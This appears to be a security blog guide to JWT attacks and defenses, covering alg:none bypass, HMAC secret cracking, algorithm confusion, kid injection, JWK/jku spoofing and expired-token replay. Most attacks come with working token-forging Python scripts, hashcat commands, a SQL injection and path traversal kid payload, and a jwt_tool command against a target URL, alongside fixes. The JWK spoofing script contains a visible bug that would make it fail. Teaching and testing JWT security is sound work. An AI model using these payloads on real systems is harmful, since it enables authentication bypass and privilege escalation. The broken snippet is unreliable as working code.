- Published on
JWT Security Guide: Common JWT Vulnerabilities, Attacks, Exploits, and Defenses
WARNING
Disclaimer: This guide is intended for authorized security professionals. All testing techniques described here must only be performed on systems for which you have explicit written permission. Unauthorized testing is illegal and unethical.
Introduction
It usually starts quietly. An otherwise ordinary request hits an API, the response comes back 200 OK, and somewhere inside that flow a token gets copied into Burp, a browser extension, or a notes file. At first glance it looks harmless: three base64url blobs, a few claims, maybe a role field, maybe an exp. But when a backend trusts the wrong header, the wrong key, or the wrong algorithm, that harmless-looking token turns into a skeleton key.
That is what makes JWT flaws so dangerous in the wild. They rarely look dramatic at the start. There is no noisy exploit chain, no giant memory corruption, no obvious crash. Just a tiny assumption in token verification logic that lets an attacker go from "decode" to "forge" to "admin" with very little friction.
JSON Web Tokens are everywhere. REST APIs, mobile backends, microservices, and OAuth flows all rely on them heavily. And yet JWT vulnerabilities are still consistently introduced through weak verification logic, unsafe key handling, and broken claim validation.
This is not a basic JWT explainer. This guide takes an attacker's lens to JWTs: how they break, where they break, and what a fully weaponized exploit can look like in the real world.
JWT Attacks Quick Answer
If you are testing JWT security quickly, focus on these high-impact checks first:
- Try
alg:noneand algorithm confusion issues. - Identify whether the token uses a weak HMAC secret.
- Test
kidlookup behavior for SQL injection or path traversal. - Check whether the server trusts embedded
jwk,jku, orx5uheaders. - Replay expired tokens and verify claim validation for
exp,nbf,iss, andaud.
These are some of the most common JWT vulnerabilities seen in real API security assessments, and several of them can lead directly to forged admin tokens or full authentication bypass.
What Is JWT and Why Is It Used?
JWT stands for JSON Web Token. It is a compact token format commonly used for authentication, API authorization, session handling, and identity propagation across distributed systems. A JWT is popular because it is easy to pass between clients, APIs, mobile apps, and identity providers without maintaining server-side session state for every request.
That convenience is exactly why JWT security matters. If token verification is weak, attackers may be able to tamper with claims, forge tokens, bypass login controls, or escalate privileges across multiple systems that trust the same token.
What You're Actually Looking At
A JWT looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NDM5MzI4MDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
It has three base64url-encoded parts separated by dots:
| Part | Contains |
|---|---|
| Header | Algorithm (alg), token type |
| Payload | Claims (sub, role, exp, etc.) |
| Signature | HMAC or RSA signature over header and payload |
Decode any JWT instantly with jwt.io or with a shell:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}
The signature is what stops tampering, unless the server does not actually verify it correctly.
Attack 1: The alg:none Bypass
What It Is
The JWT spec allows an algorithm value of none, meaning the token is unsigned. Some libraries, when they see alg: none, skip signature verification entirely.
How to Exploit It
Take any valid JWT. Decode the header and payload, modify the payload such as changing "role":"user" to "role":"admin", re-encode, and set the signature to an empty string.
import base64
import json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "role": "admin", "iat": 1743932800}
def b64url(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',', ':')).encode()
).rstrip(b'=').decode()
forged = f"{b64url(header)}.{b64url(payload)}."
print(forged)
Send that token in the Authorization: Bearer header. If the server accepts it, you are in as admin.
Variants
Some servers only check for the exact string "none" but not "None", "NONE", or "nOnE". Try case variations.
Why It Still Exists
Older library versions trusted the alg field in the token instead of enforcing it server-side.
Fix
Always specify the expected algorithm explicitly server-side. Never trust the alg claim in the token.
// WRONG
jwt.verify(token, secret)
// RIGHT
jwt.verify(token, secret, { algorithms: ['HS256'] })
Attack 2: Weak HMAC Secret Cracking
What It Is
HS256, HS384, and HS512 tokens are signed with a symmetric secret. If that secret is weak, short, or default, it can be brute-forced offline with the token alone.
How to Exploit It
You do not need server access. Grab any JWT from a request and use hashcat or similar tooling:
# hashcat mode 16500 = JWT
hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt
# Or with john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt
Once you have the secret, you can forge any claim:
import jwt
secret = "secret123"
payload = {"sub": "admin", "role": "superadmin", "exp": 9999999999}
forged = jwt.encode(payload, secret, algorithm="HS256")
print(forged)
Common Weak Secrets Found in the Wild
secretpasswordchangemeyour-256-bit-secret- The app name itself
- Empty string
""
Fix
Use cryptographically random secrets of at least 256 bits:
openssl rand -base64 32
Rotate them and store them in a secrets manager, not in .env files committed to git.
Attack 3: RS256 to HS256 Algorithm Confusion
What It Is
When a server uses RS256, it signs with a private key and verifies with a public key. The public key is often intentionally exposed.
The attack is to forge a token using HS256 while using the public key as the HMAC secret. If the server picks the algorithm from the token header instead of enforcing RS256, it will verify your HS256 token using the public key as the secret, which is exactly what you used to sign it.
How to Exploit It
import jwt
pubkey = open("public_key.pem", "rb").read()
payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}
# Sign with HS256 using the PUBLIC KEY as the secret
forged = jwt.encode(payload, pubkey, algorithm="HS256")
print(forged)
If the library does not enforce RS256 server-side, the HMAC check passes.
Fix
Enforce the expected algorithm server-side:
jwt.verify(token, publicKey, { algorithms: ['RS256'] })
Never allow the client to dictate the algorithm.
Attack 4: kid Header Injection
What It Is
The kid (Key ID) header parameter tells the server which key to use to verify the signature. If the server uses kid to look up a key from a database or file system without sanitization, you have an injection point.
SQL Injection via kid
If the key is fetched with something like:
SELECT secret_key FROM jwt_keys WHERE id = '<kid value>'
You can inject:
{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker_secret' -- "
}
Now the server fetches attacker_secret as the key. Sign your forged token with attacker_secret, and it validates.
Directory Traversal via kid
If the server reads a key file like:
key = open(f"/keys/{kid}.pem").read()
Try:
{
"kid": "../../../../dev/null"
}
If the application resolves that path unsafely, the verification key may become predictable or empty, making signature forgery possible.
Fix
- Validate and whitelist
kidvalues - Never pass
kidraw to SQL or filesystem operations - Use parameterized SQL queries
- Store keys in a strict key store with fixed identifiers
Attack 5: JWK Header Spoofing
What It Is
Some JWT implementations support an embedded jwk (JSON Web Key) in the token header. If a server trusts that embedded jwk without checking it against a trusted key store, you can embed your own key pair.
How to Exploit It
- Generate your own RSA key pair.
- Embed the public key in the JWT header as
jwk. - Sign the token with your private key.
- If the server trusts the embedded key, verification succeeds.
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
import base64
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()
def int_to_b64(n):
return base64.urlsafe_b64encode(
n.to_bytes((n.bit_length() + 7) // 8, 'big')
).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": int_to_b64(pub_numbers.n),
"e": int_to_b64(pub_numbers.e),
"alg": "RS256",
"use": "sig"
}
headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(forged)
Fix
Never trust a jwk embedded in the token header. Always verify against a pre-registered, server-controlled JWKS endpoint.
Attack 6: jku and x5u Header Injection
What It Is
The jku header points to a URL where the server should fetch the JWKS for verification. If the server fetches whatever URL is in jku or x5u without validating it against a whitelist, you can point it to an attacker-controlled key set.
How to Exploit It
- Host a JWKS file on your own server.
- Generate a key pair and place the public key in that JWKS.
- Forge a token with
"jku"pointing to your JWKS and sign it with your private key. - If the server fetches and trusts it, the signature validates.
Fix
Whitelist allowed jku and x5u URLs. The server should only fetch keys from its own configured endpoint, never from a URL supplied in the token.
Attack 7: Expired Token Acceptance
Sometimes the simplest bugs are the deadliest. Decode the token, inspect the exp claim, and replay old captured tokens:
# Decode and inspect the exp claim
echo "PAYLOAD_PART" | base64 -d | jq .exp
# Convert unix timestamp
date -d @<timestamp>
If the server accepts expired tokens, you may retain access long after the session should have ended.
Recon Checklist: Finding JWTs to Attack
[ ] Capture tokens from login, OAuth callback, and API responses
[ ] Check all three parts and look for sensitive data in payloads
[ ] Note the algorithm (alg) in the header
[ ] Find the JWKS endpoint: /.well-known/jwks.json, /oauth/discovery, /api/auth/keys
[ ] Check if a public key is exposed anywhere
[ ] Look for kid parameters and test unsafe lookup behavior
[ ] Check for jku and x5u headers
[ ] Test expiry by replaying old tokens
[ ] Brute force with hashcat if HS256 is in use
Quick PoC Summary
| Attack | Condition | Impact |
|---|---|---|
alg:none | Library trusts token alg | Full auth bypass |
| Weak secret crack | Short or default HMAC secret | Forge any token |
| RS256 to HS256 confusion | Library allows algorithm switching | Forge any token |
kid SQL injection | Unsanitized kid in SQL query | Key control and forgery |
kid path traversal | Unsanitized kid in file path | Key control and forgery |
| JWK spoofing | Server trusts embedded jwk | Forge any token |
jku injection | No URL whitelist | Forge any token |
| Expired token accepted | Missing expiry validation | Persistent access |
Tooling
- jwt.io: Decode and inspect tokens
- jwt_tool: Automated JWT attack suite
- hashcat with
-m 16500: HMAC secret cracking - Burp Suite with the JWT Editor extension: In-proxy token manipulation
- PortSwigger JWT labs: Hands-on practice
# jwt_tool covers most attacks in one tool
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -M at
Defensive Summary
If you are implementing JWT verification, lock these down:
- Enforce the expected algorithm server-side and never trust
algfrom the token. - Use strong secrets: 256-bit random for HMAC and 2048-bit or stronger RSA for asymmetric setups.
- Validate all claims, including
exp,nbf,iss, andaud. - Sanitize and whitelist
kidvalues. - Reject embedded
jwk,jku, andx5uunless they are pinned to trusted infrastructure. - Rotate secrets and keep token lifetimes short.
- Never store sensitive data in the payload because JWTs are encoded, not encrypted.
FAQ
What are the most common JWT vulnerabilities?
The most common JWT vulnerabilities include alg:none acceptance, weak HMAC secrets, RS256 to HS256 algorithm confusion, unsafe kid handling, trusted embedded jwk headers, and unvalidated jku or x5u URLs. These flaws often allow attackers to forge tokens or bypass authentication entirely.
Can JWTs be cracked?
JWTs signed with HMAC can sometimes be cracked offline if the secret is weak, short, reused, or based on defaults. The token itself gives an attacker everything needed to brute force the secret without interacting with the server.
Are JWTs secure for authentication?
JWTs can be secure when verification is implemented correctly, algorithms are enforced server-side, secrets and keys are strong, and claims are validated consistently. Most serious JWT issues come from implementation mistakes rather than the format alone.
How do you secure JWTs?
Secure JWT implementations enforce a fixed algorithm, validate claims like exp and aud, reject attacker-controlled key references, sanitize kid, use strong secrets or managed key pairs, and keep token lifetimes short.
Conclusion
JWTs are simple in concept and surprisingly fragile in practice. Many of these attacks do not require exotic tooling. A base64 decoder and a text editor can be enough for alg:none, while more advanced issues such as algorithm confusion and JWK spoofing can lead to full authentication bypass when verification logic is weak.
The defensive takeaway is straightforward: do not trust the token header. Enforce algorithms, validate claims, and keep key selection under server control. Your backend should make those decisions, not the client.
Need help with JWT security, API security testing, or a real-world assessment? Contact info@shellvoide.com.